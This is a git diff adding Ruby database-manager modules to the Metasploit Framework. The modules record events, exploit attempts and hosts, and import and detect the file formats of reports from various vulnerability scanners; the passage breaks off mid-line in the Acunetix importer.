+1,22 @@ +module Msf::DBManager::Event + def events(wspace=workspace) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.events.find :all, :order => 'created_at ASC' + } + end + + def report_event(opts = {}) + return if not active + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + return if not wspace # Temp fix? + uname = opts.delete(:username) + + if ! opts[:host].kind_of? ::Mdm::Host and opts[:host] + opts[:host] = report_host(:workspace => wspace, :host => opts[:host]) + end + + ::Mdm::Event.create(opts.merge(:workspace_id => wspace[:id], :username => uname)) + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/exploit_attempt.rb b/lib/msf/core/db_manager/exploit_attempt.rb new file mode 100644 index 0000000000..9f864ec296 --- /dev/null +++ b/lib/msf/core/db_manager/exploit_attempt.rb @@ -0,0 +1,212 @@ +module Msf::DBManager::ExploitAttempt + # report_exploit() used to be used to track sessions and which modules + # opened them. That information is now available with the session table + # directly. TODO: kill this completely some day -- for now just warn if + # some other UI is actually using it. + def report_exploit(opts={}) + wlog("Deprecated method call: report_exploit()\n" + + "report_exploit() options: #{opts.inspect}\n" + + "report_exploit() call stack:\n\t#{caller.join("\n\t")}" + ) + end + + def report_exploit_attempt(host, opts) + ::ActiveRecord::Base.connection_pool.with_connection { + return if not host + info = {} + + # Opts can be keyed by strings or symbols + ::Mdm::VulnAttempt.column_names.each do |kn| + k = kn.to_sym + next if ['id', 'host_id'].include?(kn) + info[k] = opts[kn] if opts[kn] + info[k] = opts[k] if opts[k] + end + + host.exploit_attempts.create(info) + } + end + + def report_exploit_failure(opts) + + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + mrefs = opts.delete(:refs) || return + host = opts.delete(:host) + port = opts.delete(:port) + prot = opts.delete(:proto) + svc = opts.delete(:service) + vuln = opts.delete(:vuln) + + timestamp = opts.delete(:timestamp) + freason = opts.delete(:fail_reason) + fdetail = opts.delete(:fail_detail) + username = opts.delete(:username) + mname = opts.delete(:module) + + # Look up the host as appropriate + if not (host and host.kind_of? ::Mdm::Host) + if svc.kind_of? ::Mdm::Service + host = svc.host + else + host = get_host( :workspace => wspace, :address => host ) + end + end + + # Bail if we dont have a host object + return if not host + + # Look up the service as appropriate + if port and svc.nil? + prot ||= "tcp" + svc = get_service(wspace, host, prot, port) if port + end + + if not vuln + # Create a references map from the module list + ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref| + if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) + "#{ref.ctx_id}-#{ref.ctx_val}" + else + ref.to_s + end + }) + + # Try find a matching vulnerability + vuln = find_vuln_by_refs(ref_objs, host, svc) + end + + # Report a vuln_attempt if we found a match + if vuln + attempt_info = { + :attempted_at => timestamp || Time.now.utc, + :exploited => false, + :fail_reason => freason, + :fail_detail => fdetail, + :username => username || "unknown", + :module => mname + } + + vuln.vuln_attempts.create(attempt_info) + end + + # Report an exploit attempt all the same + attempt_info = { + :attempted_at => timestamp || Time.now.utc, + :exploited => false, + :username => username || "unknown", + :module => mname, + :fail_reason => freason, + :fail_detail => fdetail + } + + attempt_info[:vuln_id] = vuln.id if vuln + + if svc + attempt_info[:port] = svc.port + attempt_info[:proto] = svc.proto + end + + if port and svc.nil? + attempt_info[:port] = port + attempt_info[:proto] = prot || "tcp" + end + + host.exploit_attempts.create(attempt_info) + } + end + + def report_exploit_success(opts) + ::ActiveRecord::Base.connection_pool.with_connection { + + wspace = opts.delete(:workspace) || workspace + mrefs = opts.delete(:refs) || return + host = opts.delete(:host) + port = opts.delete(:port) + prot = opts.delete(:proto) + svc = opts.delete(:service) + vuln = opts.delete(:vuln) + + timestamp = opts.delete(:timestamp) + username = opts.delete(:username) + mname = opts.delete(:module) + + # Look up or generate the host as appropriate + if not (host and host.kind_of? ::Mdm::Host) + if svc.kind_of? ::Mdm::Service + host = svc.host + else + host = report_host(:workspace => wspace, :address => host ) + end + end + + # Bail if we dont have a host object + return if not host + + # Look up or generate the service as appropriate + if port and svc.nil? + svc = report_service(:workspace => wspace, :host => host, :port => port, :proto => prot ) if port + end + + if not vuln + # Create a references map from the module list + ref_objs = ::Mdm::Ref.where(:name => mrefs.map { |ref| + if ref.respond_to?(:ctx_id) and ref.respond_to?(:ctx_val) + "#{ref.ctx_id}-#{ref.ctx_val}" + else + ref.to_s + end + }) + + # Try find a matching vulnerability + vuln = find_vuln_by_refs(ref_objs, host, svc) + end + + # We have match, lets create a vuln_attempt record + if vuln + attempt_info = { + :vuln_id => vuln.id, + :attempted_at => timestamp || Time.now.utc, + :exploited => true, + :username => username || "unknown", + :module => mname + } + + attempt_info[:session_id] = opts[:session_id] if opts[:session_id] + attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] + + vuln.vuln_attempts.create(attempt_info) + + # Correct the vuln's associated service if necessary + if svc and vuln.service_id.nil? + vuln.service = svc + vuln.save + end + end + + # Report an exploit attempt all the same + attempt_info = { + :attempted_at => timestamp || Time.now.utc, + :exploited => true, + :username => username || "unknown", + :module => mname + } + + attempt_info[:vuln_id] = vuln.id if vuln + attempt_info[:session_id] = opts[:session_id] if opts[:session_id] + attempt_info[:loot_id] = opts[:loot_id] if opts[:loot_id] + + if svc + attempt_info[:port] = svc.port + attempt_info[:proto] = svc.proto + end + + if port and svc.nil? + attempt_info[:port] = port + attempt_info[:proto] = prot || "tcp" + end + + host.exploit_attempts.create(attempt_info) + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/exploited_host.rb b/lib/msf/core/db_manager/exploited_host.rb new file mode 100644 index 0000000000..8da53a2c69 --- /dev/null +++ b/lib/msf/core/db_manager/exploited_host.rb @@ -0,0 +1,16 @@ +module Msf::DBManager::ExploitedHost + def each_exploited_host(wspace=workspace,&block) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.exploited_hosts.each do |eh| + block.call(eh) + end + } + end + + # This method returns a list of all exploited hosts in the database. + def exploited_hosts(wspace=workspace) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.exploited_hosts + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/host.rb b/lib/msf/core/db_manager/host.rb new file mode 100644 index 0000000000..26dae7a27a --- /dev/null +++ b/lib/msf/core/db_manager/host.rb @@ -0,0 +1,328 @@ +module Msf::DBManager::Host + # Deletes a host and associated data matching this address/comm + def del_host(wspace, address, comm='') + ::ActiveRecord::Base.connection_pool.with_connection { + address, scope = address.split('%', 2) + host = wspace.hosts.find_by_address_and_comm(address, comm) + host.destroy if host + } + end + + # + # Iterates over the hosts table calling the supplied block with the host + # instance of each entry. + # + def each_host(wspace=workspace, &block) + ::ActiveRecord::Base.connection_pool.with_connection { + wspace.hosts.each do |host| + block.call(host) + end + } + end + + # Exactly like report_host but waits for the database to create a host and returns it. + def find_or_create_host(opts) + report_host(opts) + end + + # + # Find a host. Performs no database writes. + # + def get_host(opts) + if opts.kind_of? ::Mdm::Host + return opts + elsif opts.kind_of? String + raise RuntimeError, "This invokation of get_host is no longer supported: #{caller}" + else + address = opts[:addr] || opts[:address] || opts[:host] || return + return address if address.kind_of? ::Mdm::Host + end + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + if wspace.kind_of? String + wspace = find_workspace(wspace) + end + + address = normalize_host(address) + return wspace.hosts.find_by_address(address) + } + end + + # Look for an address across all comms + def has_host?(wspace,addr) + ::ActiveRecord::Base.connection_pool.with_connection { + address, scope = addr.split('%', 2) + wspace.hosts.find_by_address(addr) + } + end + + # Returns a list of all hosts in the database + def hosts(wspace = workspace, only_up = false, addresses = nil) + ::ActiveRecord::Base.connection_pool.with_connection { + conditions = {} + conditions[:state] = [Msf::HostState::Alive, Msf::HostState::Unknown] if only_up + conditions[:address] = addresses if addresses + wspace.hosts.where(conditions).order(:address) + } + end + + # + # Returns something suitable for the +:host+ parameter to the various report_* methods + # + # Takes a Host object, a Session object, an Msf::Session object or a String + # address + # + def normalize_host(host) + return host if host.kind_of? ::Mdm::Host + norm_host = nil + + if (host.kind_of? String) + + if Rex::Socket.is_ipv4?(host) + # If it's an IPv4 addr with a port on the end, strip the port + if host =~ /((\d{1,3}\.){3}\d{1,3}):\d+/ + norm_host = $1 + else + norm_host = host + end + elsif Rex::Socket.is_ipv6?(host) + # If it's an IPv6 addr, drop the scope + address, scope = host.split('%', 2) + norm_host = address + else + norm_host = Rex::Socket.getaddress(host, true) + end + elsif host.kind_of? ::Mdm::Session + norm_host = host.host + elsif host.respond_to?(:session_host) + # Then it's an Msf::Session object + thost = host.session_host + norm_host = thost + end + + # If we got here and don't have a norm_host yet, it could be a + # Msf::Session object with an empty or nil tunnel_host and tunnel_peer; + # see if it has a socket and use its peerhost if so. + if ( + norm_host.nil? and + host.respond_to?(:sock) and + host.sock.respond_to?(:peerhost) and + host.sock.peerhost.to_s.length > 0 + ) + norm_host = session.sock.peerhost + end + # If We got here and still don't have a real host, there's nothing left + # to try, just log it and return what we were given + if not norm_host + dlog("Host could not be normalized: #{host.inspect}") + norm_host = host + end + + norm_host + end + + # + # Report a host's attributes such as operating system and service pack + # + # The opts parameter MUST contain + # +:host+:: -- the host's ip address + # + # The opts parameter can contain: + # +:state+:: -- one of the Msf::HostState constants + # +:os_name+:: -- something like "Windows", "Linux", or "Mac OS X" + # +:os_flavor+:: -- something like "Enterprise", "Pro", or "Home" + # +:os_sp+:: -- something like "SP2" + # +:os_lang+:: -- something like "English", "French", or "en-US" + # +:arch+:: -- one of the ARCH_* constants + # +:mac+:: -- the host's MAC address + # +:scope+:: -- interface identifier for link-local IPv6 + # +:virtual_host+:: -- the name of the VM host software, eg "VMWare", "QEMU", "Xen", etc. + # + def report_host(opts) + + return if not active + addr = opts.delete(:host) || return + + # Sometimes a host setup through a pivot will see the address as "Remote Pipe" + if addr.eql? "Remote Pipe" + return + end + + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + if wspace.kind_of? String + wspace = find_workspace(wspace) + end + + ret = { } + + if not addr.kind_of? ::Mdm::Host + addr = normalize_host(addr) + addr, scope = addr.split('%', 2) + opts[:scope] = scope if scope + + unless ipv46_validator(addr) + raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}" + end + + if opts[:comm] and opts[:comm].length > 0 + host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize + else + host = wspace.hosts.where(address: addr).first_or_initialize + end + else + host = addr + end + + # Truncate the info field at the maximum field length + if opts[:info] + opts[:info] = opts[:info][0,65535] + end + + # Truncate the name field at the maximum field length + if opts[:name] + opts[:name] = opts[:name][0,255] + end + + opts.each { |k,v| + if (host.attribute_names.include?(k.to_s)) + unless host.attribute_locked?(k.to_s) + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') + end + else + dlog("Unknown attribute for ::Mdm::Host: #{k}") + end + } + host.info = host.info[0,::Mdm::Host.columns_hash["info"].limit] if host.info + + # Set default fields if needed + host.state = Msf::HostState::Alive if not host.state + host.comm = '' if not host.comm + host.workspace = wspace if not host.workspace + + if host.changed? + msf_import_timestamps(opts,host) + host.save! + end + + if opts[:task] + Mdm::TaskHost.create( + :task => opts[:task], + :host => host + ) + end + + host + } + end + + # + # Update a host's attributes via semi-standardized sysinfo hash (Meterpreter) + # + # The opts parameter MUST contain the following entries + # +:host+:: -- the host's ip address + # +:info+:: -- the information hash + # * 'Computer' -- the host name + # * 'OS' -- the operating system string + # * 'Architecture' -- the hardware architecture + # * 'System Language' -- the system language + # + # The opts parameter can contain: + # +:workspace+:: -- the workspace for this host + # + def update_host_via_sysinfo(opts) + + return if not active + addr = opts.delete(:host) || return + info = opts.delete(:info) || return + + # Sometimes a host setup through a pivot will see the address as "Remote Pipe" + if addr.eql? "Remote Pipe" + return + end + + ::ActiveRecord::Base.connection_pool.with_connection { + wspace = opts.delete(:workspace) || workspace + if wspace.kind_of? String + wspace = find_workspace(wspace) + end + + if not addr.kind_of? ::Mdm::Host + addr = normalize_host(addr) + addr, scope = addr.split('%', 2) + opts[:scope] = scope if scope + + unless ipv46_validator(addr) + raise ::ArgumentError, "Invalid IP address in report_host(): #{addr}" + end + + if opts[:comm] and opts[:comm].length > 0 + host = wspace.hosts.where(address: addr, comm: opts[:comm]).first_or_initialize + else + host = wspace.hosts.where(address: addr).first_or_initialize + end + else + host = addr + end + + res = {} + + if info['Computer'] + res[:name] = info['Computer'] + end + + if info['Architecture'] + res[:arch] = info['Architecture'].split(/\s+/).first + end + + if info['OS'] =~ /^Windows\s*([^\(]+)\(([^\)]+)\)/i + res[:os_name] = "Windows #{$1.strip}" + build = $2.strip + + if build =~ /Service Pack (\d+)/ + res[:os_sp] = "SP" + $1 + end + end + + if info["System Language"] + case info["System Language"] + when /^en_/ + res[:os_lang] = "English" + end + end + + + # Truncate the info field at the maximum field length + if res[:info] + res[:info] = res[:info][0,65535] + end + + # Truncate the name field at the maximum field length + if res[:name] + res[:name] = res[:name][0,255] + end + + res.each { |k,v| + + if (host.attribute_names.include?(k.to_s)) + unless host.attribute_locked?(k.to_s) + host[k] = v.to_s.gsub(/[\x00-\x1f]/n, '') + end + else + dlog("Unknown attribute for Host: #{k}") + end + } + + # Set default fields if needed + host.state = Msf::HostState::Alive if not host.state + host.comm = '' if not host.comm + host.workspace = wspace if not host.workspace + + if host.changed? + host.save! + end + + host + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/host_detail.rb b/lib/msf/core/db_manager/host_detail.rb new file mode 100644 index 0000000000..3ef7727be9 --- /dev/null +++ b/lib/msf/core/db_manager/host_detail.rb @@ -0,0 +1,21 @@ +module Msf::DBManager::HostDetail + # + # Populate the host_details table with additional + # information, matched by a specific criteria + # + def report_host_details(host, details) + ::ActiveRecord::Base.connection_pool.with_connection { + + detail = ::Mdm::HostDetail.where(( details.delete(:key) || {} ).merge(:host_id => host.id)).first + if detail + details.each_pair do |k,v| + detail[k] = v + end + detail.save! if detail.changed? + detail + else + detail = ::Mdm::HostDetail.create(details.merge(:host_id => host.id)) + end + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/host_tag.rb b/lib/msf/core/db_manager/host_tag.rb new file mode 100644 index 0000000000..f1a33b68cb --- /dev/null +++ b/lib/msf/core/db_manager/host_tag.rb @@ -0,0 +1,36 @@ +module Msf::DBManager::HostTag + # This is only exercised by MSF3 XML importing for now. Needs the wait + # conditions and return hash as well. + def report_host_tag(opts) + name = opts.delete(:name) + raise Msf::DBImportError.new("Missing required option :name") unless name + addr = opts.delete(:addr) + raise Msf::DBImportError.new("Missing required option :addr") unless addr + wspace = opts.delete(:wspace) + raise Msf::DBImportError.new("Missing required option :wspace") unless wspace + ::ActiveRecord::Base.connection_pool.with_connection { + if wspace.kind_of? String + wspace = find_workspace(wspace) + end + + host = nil + report_host(:workspace => wspace, :address => addr) + + + host = get_host(:workspace => wspace, :address => addr) + desc = opts.delete(:desc) + summary = opts.delete(:summary) + detail = opts.delete(:detail) + crit = opts.delete(:crit) + possible_tags = Mdm::Tag.includes(:hosts).where("hosts.workspace_id = ? and tags.name = ?", wspace.id, name).order("tags.id DESC").limit(1) + tag = (possible_tags.blank? ? Mdm::Tag.new : possible_tags.first) + tag.name = name + tag.desc = desc + tag.report_summary = !!summary + tag.report_detail = !!detail + tag.critical = !!crit + tag.hosts = tag.hosts | [host] + tag.save! if tag.changed? + } + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import.rb b/lib/msf/core/db_manager/import.rb new file mode 100644 index 0000000000..0450cafe71 --- /dev/null +++ b/lib/msf/core/db_manager/import.rb @@ -0,0 +1,456 @@ +# +# Standard library +# + +require 'fileutils' +require 'tmpdir' +require 'uri' + +# +# Gems +# + +require 'packetfu' + +module Msf::DBManager::Import + autoload :Acunetix, 'msf/core/db_manager/import/acunetix' + autoload :Amap, 'msf/core/db_manager/import/amap' + autoload :Appscan, 'msf/core/db_manager/import/appscan' + autoload :Burp, 'msf/core/db_manager/import/burp' + autoload :CI, 'msf/core/db_manager/import/ci' + autoload :Foundstone, 'msf/core/db_manager/import/foundstone' + autoload :FusionVM, 'msf/core/db_manager/import/fusion_vm' + autoload :IP360, 'msf/core/db_manager/import/ip360' + autoload :IPList, 'msf/core/db_manager/import/ip_list' + autoload :Libpcap, 'msf/core/db_manager/import/libpcap' + autoload :MBSA, 'msf/core/db_manager/import/mbsa' + autoload :MetasploitFramework, 'msf/core/db_manager/import/metasploit_framework' + autoload :Nessus, 'msf/core/db_manager/import/nessus' + autoload :Netsparker, 'msf/core/db_manager/import/netsparker' + autoload :Nexpose, 'msf/core/db_manager/import/nexpose' + autoload :Nikto, 'msf/core/db_manager/import/nikto' + autoload :Nmap, 'msf/core/db_manager/import/nmap' + autoload :OpenVAS, 'msf/core/db_manager/import/open_vas' + autoload :Outpost24, 'msf/core/db_manager/import/outpost24' + autoload :Qualys, 'msf/core/db_manager/import/qualys' + autoload :Report, 'msf/core/db_manager/import/report' + autoload :Retina, 'msf/core/db_manager/import/retina' + autoload :Spiceworks, 'msf/core/db_manager/import/spiceworks' + autoload :Wapiti, 'msf/core/db_manager/import/wapiti' + + include Msf::DBManager::Import::Acunetix + include Msf::DBManager::Import::Amap + include Msf::DBManager::Import::Appscan + include Msf::DBManager::Import::Burp + include Msf::DBManager::Import::CI + include Msf::DBManager::Import::Foundstone + include Msf::DBManager::Import::FusionVM + include Msf::DBManager::Import::IP360 + include Msf::DBManager::Import::IPList + include Msf::DBManager::Import::Libpcap + include Msf::DBManager::Import::MBSA + include Msf::DBManager::Import::MetasploitFramework + include Msf::DBManager::Import::Nessus + include Msf::DBManager::Import::Netsparker + include Msf::DBManager::Import::Nexpose + include Msf::DBManager::Import::Nikto + include Msf::DBManager::Import::Nmap + include Msf::DBManager::Import::OpenVAS + include Msf::DBManager::Import::Outpost24 + include Msf::DBManager::Import::Qualys + include Msf::DBManager::Import::Report + include Msf::DBManager::Import::Retina + include Msf::DBManager::Import::Spiceworks + include Msf::DBManager::Import::Wapiti + + # If hex notation is present, turn them into a character. + def dehex(str) + hexen = str.scan(/\x5cx[0-9a-fA-F]{2}/n) + hexen.each { |h| + str.gsub!(h,h[2,2].to_i(16).chr) + } + return str + end + + # A way to sneak the yield back into the db importer. + # Used by the SAX parsers. + def emit(sym,data,&block) + yield(sym,data) + end + + # A dispatcher method that figures out the data's file type, + # and sends it off to the appropriate importer. Note that + # import_file_detect will raise an error if the filetype + # is unknown. + def import(args={}, &block) + data = args[:data] || args['data'] + ftype = import_filetype_detect(data) + yield(:filetype, @import_filedata[:type]) if block + self.send "import_#{ftype}".to_sym, args, &block + end + + # + # Generic importer that automatically determines the file type being + # imported. Since this looks for vendor-specific strings in the given + # file, there shouldn't be any false detections, but no guarantees. + # + def import_file(args={}, &block) + filename = args[:filename] || args['filename'] + wspace = args[:wspace] || args['wspace'] || workspace + @import_filedata = {} + @import_filedata[:filename] = filename + + data = "" + ::File.open(filename, 'rb') do |f| + # This check is the largest (byte-wise) that we need to do + # since the other 4-byte checks will be subsets of this larger one. + data = f.read(Metasploit::Credential::Exporter::Pwdump::FILE_ID_STRING.size) + end + if data.nil? + raise Msf::DBImportError.new("Zero-length file") + end + + if data.index(Metasploit::Credential::Exporter::Pwdump::FILE_ID_STRING) + data = ::File.open(filename, 'rb') + else + case data[0,4] + when "PK\x03\x04" + # When Msf::DBManager::Import::MetasploitFramework is included, it's child namespace of + # Msf::DBManager::Import::MetasploitFramework::Zip becomes resolvable as Zip here, so need to use ::Zip so Zip + # is resolved as one from rubyzip gem. + data = ::Zip::File.open(filename) + when "\xd4\xc3\xb2\xa1".force_encoding('ASCII-8BIT'), "\xa1\xb2\xc3\xd4".force_encoding('ASCII-8BIT') + data = PacketFu::PcapFile.new(:filename => filename) + else + ::File.open(filename, 'rb') do |f| + sz = f.stat.size + data = f.read(sz) + end + end + end + + + if block + import(args.merge(:data => data)) { |type,data| yield type,data } + else + import(args.merge(:data => data)) + end + end + + # Returns one of the following: + # + # :acunetix_xml + # :amap_log + # :amap_mlog + # :appscan_xml + # :burp_session_xml + # :ci_xml + # :foundstone_xml + # :fusionvm_xml + # :ip360_aspl_xml + # :ip360_xml_v3 + # :ip_list + # :libpcap + # :mbsa_xml + # :msf_cred_dump_zip + # :msf_pwdump + # :msf_xml + # :msf_zip + # :nessus_nbe + # :nessus_xml + # :nessus_xml_v2 + # :netsparker_xml + # :nexpose_rawxml + # :nexpose_simplexml + # :nikto_xml + # :nmap_xml + # :openvas_new_xml + # :openvas_xml + # :outpost24_xml + # :qualys_asset_xml + # :qualys_scan_xml + # :retina_xml + # :spiceworks_csv + # :wapiti_xml + # + # If there is no match, an error is raised instead. + # + # @raise [Msf::DBImportError] if the type can't be detected + def import_filetype_detect(data) + # When Msf::DBManager::Import::MetasploitFramework is included, it's child namespace of + # Msf::DBManager::Import::MetasploitFramework::Zip becomes resolvable as Zip here, so need to use ::Zip so Zip + # is resolved as one from rubyzip gem. + if data and data.kind_of? ::Zip::File + if data.entries.empty? + raise Msf::DBImportError.new("The zip file provided is empty.") + end + + @import_filedata ||= {} + @import_filedata[:zip_filename] = File.split(data.to_s).last + @import_filedata[:zip_basename] = @import_filedata[:zip_filename].gsub(/\.zip$/,"") + @import_filedata[:zip_entry_names] = data.entries.map {|x| x.name} + + if @import_filedata[:zip_entry_names].include?(Metasploit::Credential::Importer::Zip::MANIFEST_FILE_NAME) + @import_filedata[:type] = "Metasploit Credential Dump" + return :msf_cred_dump_zip + end + + xml_files = @import_filedata[:zip_entry_names].grep(/^(.*)\.xml$/) + + # TODO This check for our zip export should be more extensive + if xml_files.empty? + raise Msf::DBImportError.new("The zip file provided is not a Metasploit Zip Export") + end + + @import_filedata[:zip_xml] = xml_files.first + @import_filedata[:type] = "Metasploit Zip Export" + + return :msf_zip + end + + if data and data.kind_of? PacketFu::PcapFile + # Don't check for emptiness here because unlike other formats, we + # haven't read any actual data in yet, only magic bytes to discover + # that this is indeed a pcap file. + #raise Msf::DBImportError.new("The pcap file provided is empty.") if data.body.empty? + @import_filedata ||= {} + @import_filedata[:type] = "Libpcap Packet Capture" + return :libpcap + end + + # msfpwdump + if data.present? && data.kind_of?(::File) + @import_filedata[:type] = "Metasploit PWDump Export" + return :msf_pwdump + end + + # This is a text string, lets make sure its treated as binary + data = data.unpack("C*").pack("C*") + if data and data.to_s.strip.length == 0 + raise Msf::DBImportError.new("The data provided to the import function was empty") + end + + # Parse the first line or 4k of data from the file + di = data.index("\n") || 4096 + + firstline = data[0, di] + @import_filedata ||= {} + if (firstline.index("<NeXposeSimpleXML")) + @import_filedata[:type] = "NeXpose Simple XML" + return :nexpose_simplexml + elsif (firstline.index("<FusionVM")) + @import_filedata[:type] = "FusionVM XML" + return :fusionvm_xml + elsif (firstline.index("<NexposeReport")) + @import_filedata[:type] = "NeXpose XML Report" + return :nexpose_rawxml + elsif (firstline.index("Name,Manufacturer,Device Type,Model,IP Address,Serial Number,Location,Operating System")) + @import_filedata[:type] = "Spiceworks CSV Export" + return :spiceworks_csv + elsif (firstline.index("<scanJob>")) + @import_filedata[:type] = "Retina XML" + return :retina_xml + elsif (firstline.index(/<get_reports_response status=['"]200['"] status_text=['"]OK['"]>/)) + @import_filedata[:type] = "OpenVAS XML" + return :openvas_new_xml + elsif (firstline.index(/<report id=['"]/)) + @import_filedata[:type] = "OpenVAS XML" + return :openvas_new_xml + elsif (firstline.index("<NessusClientData>")) + @import_filedata[:type] = "Nessus XML (v1)" + return :nessus_xml + elsif (firstline.index("<SecScan ID=")) + @import_filedata[:type] = "Microsoft Baseline Security Analyzer" + return :mbsa_xml + elsif (data[0,1024] =~ /<!ATTLIST\s+items\s+burpVersion/) + @import_filedata[:type] = "Burp Session XML" + return :burp_session_xml + elsif (firstline.index("<?xml")) + # it's xml, check for root tags we can handle + line_count = 0 + data.each_line { |line| + line =~ /<([a-zA-Z0-9\-\_]+)[ >]/ + + case $1 + when "niktoscan" + @import_filedata[:type] = "Nikto XML" + return :nikto_xml + when "nmaprun" + @import_filedata[:type] = "Nmap XML" + return :nmap_xml + when "openvas-report" + @import_filedata[:type] = "OpenVAS Report" + return :openvas_xml + when "NessusClientData" + @import_filedata[:type] = "Nessus XML (v1)" + return :nessus_xml + when "NessusClientData_v2" + @import_filedata[:type] = "Nessus XML (v2)" + return :nessus_xml_v2 + when "SCAN" + @import_filedata[:type] = "Qualys Scan XML" + return :qualys_scan_xml + when "report" + @import_filedata[:type] = "Wapiti XML" + return :wapiti_xml + when "ASSET_DATA_REPORT" + @import_filedata[:type] = "Qualys Asset XML" + return :qualys_asset_xml + when /MetasploitExpressV[1234]/ + @import_filedata[:type] = "Metasploit XML" + return :msf_xml + when /MetasploitV4/ + @import_filedata[:type] = "Metasploit XML" + return :msf_xml + when /MetasploitV5/ + @import_filedata[:type] = "Metasploit XML" + return :msf_xml + when /netsparker/ + @import_filedata[:type] = "NetSparker XML" + return :netsparker_xml + when /audits?/ # <audit> and <audits> are both valid for nCircle. wtfmate. + @import_filedata[:type] = "IP360 XML v3" + return :ip360_xml_v3 + when /ontology/ + @import_filedata[:type] = "IP360 ASPL" + return :ip360_aspl_xml + when /ReportInfo/ + @import_filedata[:type] = "Foundstone" + return :foundstone_xml + when /ScanGroup/ + @import_filedata[:type] = "Acunetix" + return :acunetix_xml + when /AppScanInfo/ # Actually the second line + @import_filedata[:type] = "Appscan" + return :appscan_xml + when "entities" + if line =~ /creator.*\x43\x4f\x52\x45\x20\x49\x4d\x50\x41\x43\x54/ni + @import_filedata[:type] = "CI" + return :ci_xml + end + when "main" + @import_filedata[:type] = "Outpost24 XML" + return :outpost24_xml + else + # Give up if we haven't hit the root tag in the first few lines + break if line_count > 10 + end + line_count += 1 + } + elsif (firstline.index("timestamps|||scan_start")) + @import_filedata[:type] = "Nessus NBE Report" + # then it's a nessus nbe + return :nessus_nbe + elsif (firstline.index("# amap v")) + # then it's an amap mlog + @import_filedata[:type] = "Amap Log -m" + return :amap_mlog + elsif (firstline.index("amap v")) + # then it's an amap log + @import_filedata[:type] = "Amap Log" + return :amap_log + elsif ipv46_validator(firstline) + # then its an IP list + @import_filedata[:type] = "IP Address List" + return :ip_list + elsif (data[0,1024].index("<netsparker")) + @import_filedata[:type] = "NetSparker XML" + return :netsparker_xml + elsif (firstline.index("# Metasploit PWDump Export")) + # then it's a Metasploit PWDump export + @import_filedata[:type] = "Metasploit PWDump Export" + return :msf_pwdump + end + + raise Msf::DBImportError.new("Could not automatically determine file type") + end + + # Handles timestamps from Metasploit Express/Pro imports. + def msf_import_timestamps(opts,obj) + obj.created_at = opts["created_at"] if opts["created_at"] + obj.created_at = opts[:created_at] if opts[:created_at] + obj.updated_at = opts["updated_at"] ? opts["updated_at"] : obj.created_at + obj.updated_at = opts[:updated_at] ? opts[:updated_at] : obj.created_at + return obj + end + + def report_import_note(wspace,addr) + if @import_filedata.kind_of?(Hash) && @import_filedata[:filename] && @import_filedata[:filename] !~ /msfe-nmap[0-9]{8}/ + report_note( + :workspace => wspace, + :host => addr, + :type => 'host.imported', + :data => @import_filedata.merge(:time=> Time.now.utc) + ) + end + end + + # Returns a REXML::Document from the given data. + def rexmlify(data) + if data.kind_of?(REXML::Document) + return data + else + # Make an attempt to recover from a REXML import fail, since + # it's better than dying outright. + begin + return REXML::Document.new(data) + rescue REXML::ParseException => e + dlog("REXML error: Badly formatted XML, attempting to recover. Error was: #{e.inspect}") + return REXML::Document.new(data.gsub(/([\x00-\x08\x0b\x0c\x0e-\x1f\x80-\xff])/n){ |x| "\\x%.2x" % x.unpack("C*")[0] }) + end + end + end + + # + # This method normalizes an incoming service name to one of the + # the standard ones recognized by metasploit + # + def service_name_map(proto) + return proto unless proto.kind_of? String + case proto.downcase + when "msrpc", "nfs-or-iis", "dce endpoint resolution" + "dcerpc" + when "ms-sql-s", "tds" + "mssql" + when "ms-sql-m","microsoft sql monitor" + "mssql-m" + when "postgresql"; "postgres" + when "http-proxy"; "http" + when "iiimsf"; "db2" + when "oracle-tns"; "oracle" + when "quickbooksrds"; "metasploit" + when "microsoft remote display protocol" + "rdp" + when "vmware authentication daemon" + "vmauthd" + when "netbios-ns", "cifs name service" + "netbios" + when "netbios-ssn", "microsoft-ds", "cifs" + "smb" + when "remote shell" + "shell" + when "remote login" + "login" + when "nfs lockd" + "lockd" + when "hp jetdirect" + "jetdirect" + when "dhcp server" + "dhcp" + when /^dns-(udp|tcp)$/; "dns" + when /^dce[\s+]rpc$/; "dcerpc" + else + proto.downcase.gsub(/\s*\(.*/, '') # "service (some service)" + end + end + + # Boils down the validate_import_file to a boolean + def validate_import_file(data) + begin + import_filetype_detect(data) + rescue Msf::DBImportError + return false + end + return true + end +end \ No newline at end of file diff --git a/lib/msf/core/db_manager/import/acunetix.rb b/lib/msf/core/db_manager/import/acunetix.rb new file mode 100644 index 0000000000..4d10f977b1 --- /dev/null +++ b/lib/msf/core/db_manager/import/acunetix.rb @@ -0,0 +1,34 @@ +require 'rex/parser/acunetix_nokogiri' + +module Msf::DBManager::Import::Acunetix + def import_acunetix_noko_stream(args={},&block) + if block + doc = Rex::Parser::AcunetixDocument.new(args,framework.db) {|type, data| yield type,data } + else + doc = Rex::Parser::AcunetixFoundstoneDocument.new(args,self) + end + parser = ::Nokogiri::XML::SAX::Parser.new(doc) + parser.parse(args[:data]) + end + + def import_acunetix_xml(args={}, &block) + bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] + wspace = args[:wspace] || workspace + if Rex::Parser.nokogiri_loaded + parser = "Nokogiri v#{::Nokogiri::VERSION}" + noko_args = args.dup + noko_args[:blacklist] = bl + noko_args[:wspace] = wspace + if block + yield(:parser, parser) + import_acunetix_noko_stream(noko_args) {|type, 